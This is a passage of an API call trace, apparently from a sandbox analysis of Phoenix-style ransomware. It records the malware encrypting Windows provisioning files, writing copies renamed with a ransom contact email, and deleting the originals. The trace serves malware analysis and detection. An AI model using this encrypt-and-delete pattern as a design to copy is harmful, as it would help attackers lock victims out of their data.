	[0256.033] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.033] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.073] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0256.073] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.073] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.075] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0256.075] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.076] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0256.076] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.076] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.076] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.076] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.076] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.076] CloseHandle (hObject=0x2e0) returned 1
	[0256.076] CloseHandle (hObject=0x2f4) returned 1
	[0256.076] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.078] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.078] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.078] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0256.078] CloseHandle (hObject=0x2f4) returned 1
	[0256.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.079] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.079] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.079] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.079] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.080] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0256.080] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.080] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0256.081] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0256.081] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0256.082] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0256.082] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.082] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.082] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.082] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.083] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.083] CloseHandle (hObject=0x2f4) returned 1
	[0256.083] CloseHandle (hObject=0x2e0) returned 1
	[0256.083] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.084] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.085] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=459) returned 1
	[0256.085] CloseHandle (hObject=0x2e0) returned 1
	[0256.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.085] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.085] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.085] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.085] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.086] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151780) returned 1
	[0256.086] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.086] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.087] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0256.087] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.089] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0256.089] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.089] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.089] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.089] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.089] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.089] CloseHandle (hObject=0x2e0) returned 1
	[0256.089] CloseHandle (hObject=0x2f4) returned 1
	[0256.089] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.092] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.093] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=847) returned 1
	[0256.093] CloseHandle (hObject=0x2f4) returned 1
	[0256.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.093] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.093] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.094] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0256.094] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.094] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34f, lpOverlapped=0x0) returned 1
	[0256.098] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0256.098] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0256.099] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0256.099] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.099] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.100] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.100] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.100] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.100] CloseHandle (hObject=0x2f4) returned 1
	[0256.100] CloseHandle (hObject=0x2e0) returned 1
	[0256.100] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.101] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.101] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.102] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=459) returned 1
	[0256.102] CloseHandle (hObject=0x2e0) returned 1
	[0256.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.102] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.102] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.103] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0256.103] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.103] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.249] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0256.249] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.770] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0256.770] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
